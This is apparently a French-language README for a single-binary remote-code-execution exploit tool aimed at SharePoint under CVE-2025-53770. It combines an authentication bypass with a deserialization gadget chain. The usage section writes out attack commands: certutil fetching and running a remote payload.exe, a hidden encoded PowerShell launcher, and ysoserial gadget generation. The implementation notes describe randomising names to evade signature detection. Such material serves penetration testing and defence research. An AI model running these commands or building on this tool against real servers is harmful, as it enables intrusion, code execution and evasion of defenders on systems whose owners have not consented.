OurSharePoint — Preuve de concept pour CVE-2025-53770

Outil RCE pour SharePoint autonome et binaire unique. Génère une chaîne de gadgets TypeConfuseDelegate sous forme d'octets MS-NRBF bruts (sans ysoserial.exe), l'encapsule dans une charge utile de désérialisation DataSet et la délivre via HTTP en utilisant le contournement d'authentification — le tout en une seule opération.

Chaîne d'exploitation

L'ensemble du flux binaire (à la fois le wrapper DataSet externe et le gadget TypeConfuseDelegate interne) est construit comme des enregistrements MS-NRBF bruts — aucune sérialisation .NET runtime n'est utilisée. Cela correspond au format produit par le module Metasploit octet par octet.

Compilation

Nécessite le SDK .NET Framework 4.8 (Visual Studio 2022 ou outils de build autonomes) :

& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

Sortie : OurSharePoint\bin\Release\OurSharePoint.exe (fichier unique, aucune dépendance)

Utilisation

Tir unique : mise en place et exécution

OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

Exécution de commande simple

OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

Amorçage PowerShell

OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

Reconnaissance uniquement (sans charge utile)

OurSharePoint.exe --target=https://sp.corp.com --check

Générer des fichiers de charge utile hors ligne

OurSharePoint.exe --cmd="calc.exe" --out=exploit

Avec proxy (Burp)

OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

Héritage : charge utile ysoserial.exe externe

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

Options

Fichiers de sortie

Lorsque --out est utilisé, l'outil écrit :

Versions affectées

Notes d'implémentation

• Aucune sérialisation runtime — Le wrapper DataSet et le gadget TypeConfuseDelegate sont écrits comme des enregistrements binaires MS-NRBF bruts en utilisant BinaryWriter. Cela évite les différences entre la sortie de sérialisation .NET runtime et ce que le désérialiseur cible attend.
• Encadrement LosFormatter — Le gadget interne est encapsulé avec des octets d'en-tête ObjectStateFormatter (0xFF 0x01 0x32 + longueur 7 bits) au lieu d'utiliser LosFormatter.Serialize().
• Binaire unique — Aucun outil externe, DLL ou script Python requis. L'exécutable est entièrement autonome.
• Randomisation — Les préfixes de balises XML et les noms d'éléments DataSet sont randomisés à chaque exécution pour éviter la détection par signature.

Références

• Eye Security — SharePoint Under Siege
• Metasploit PR #20409 — sharepoint_toolpane_rce
• MS-NRBF Specification
• pwntester/ysoserial.net — TypeConfuseDelegate